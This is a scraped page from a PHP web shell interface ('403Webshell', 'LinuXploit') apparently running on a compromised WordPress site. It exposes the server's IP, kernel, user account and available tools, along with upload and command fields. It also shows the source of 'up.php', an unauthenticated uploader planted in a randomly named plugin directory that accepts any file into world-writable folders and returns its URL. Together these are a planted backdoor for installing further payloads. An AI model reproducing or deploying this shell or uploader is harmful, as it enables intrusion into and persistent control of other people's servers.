403Webshell
Server IP : 146.59.209.152  /  Your IP : 216.73.216.46
Web Server : Apache
System : Linux webm005.cluster131.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : infrafs ( 43850)
PHP Version : 8.2.29
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/i/n/f/infrafs/INFRABIK/wp-content/plugins/FuvAhjuIQdJ9ELfQgKKOfg/src/ui/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/i/n/f/infrafs/INFRABIK/wp-content/plugins/FuvAhjuIQdJ9ELfQgKKOfg/src/ui/up.php
<!DOCTYPE html>
<html>
<head>
    <title>Random Directory File Uploader</title>
</head>
<body>

<?php
function generateRandomDirName($length = 10) {
    $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $dirName = '';
    for ($i = 0; $i < $length; $i++) {
        $dirName .= $characters[rand(0, strlen($characters) - 1)];
    }
    return $dirName;
}

if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_FILES["fileToUpload"])) {
    $randomDir = generateRandomDirName();
    $targetDir = "uploads/" . $randomDir . "/";
    if (!is_dir($targetDir)) {
        mkdir($targetDir, 0777, true);
    }

    $fileName = basename($_FILES["fileToUpload"]["name"]);
    $targetFile = $targetDir . $fileName;

    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $targetFile)) {
        $fileUrl = $targetFile;
        echo "Congratulations, your file has been uploaded to a random directory! Here's the URL: <a href='$fileUrl'>$fileUrl</a>";
    } else {
        echo "Oops, something went wrong during the upload.";
    }
}
?>

<form action="" method="post" enctype="multipart/form-data">
    Select your worthy file:
    <input type="file" name="fileToUpload" id="fileToUpload">
    <input type="submit" value="Upload to Random Directory" name="submit">
</form>

</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit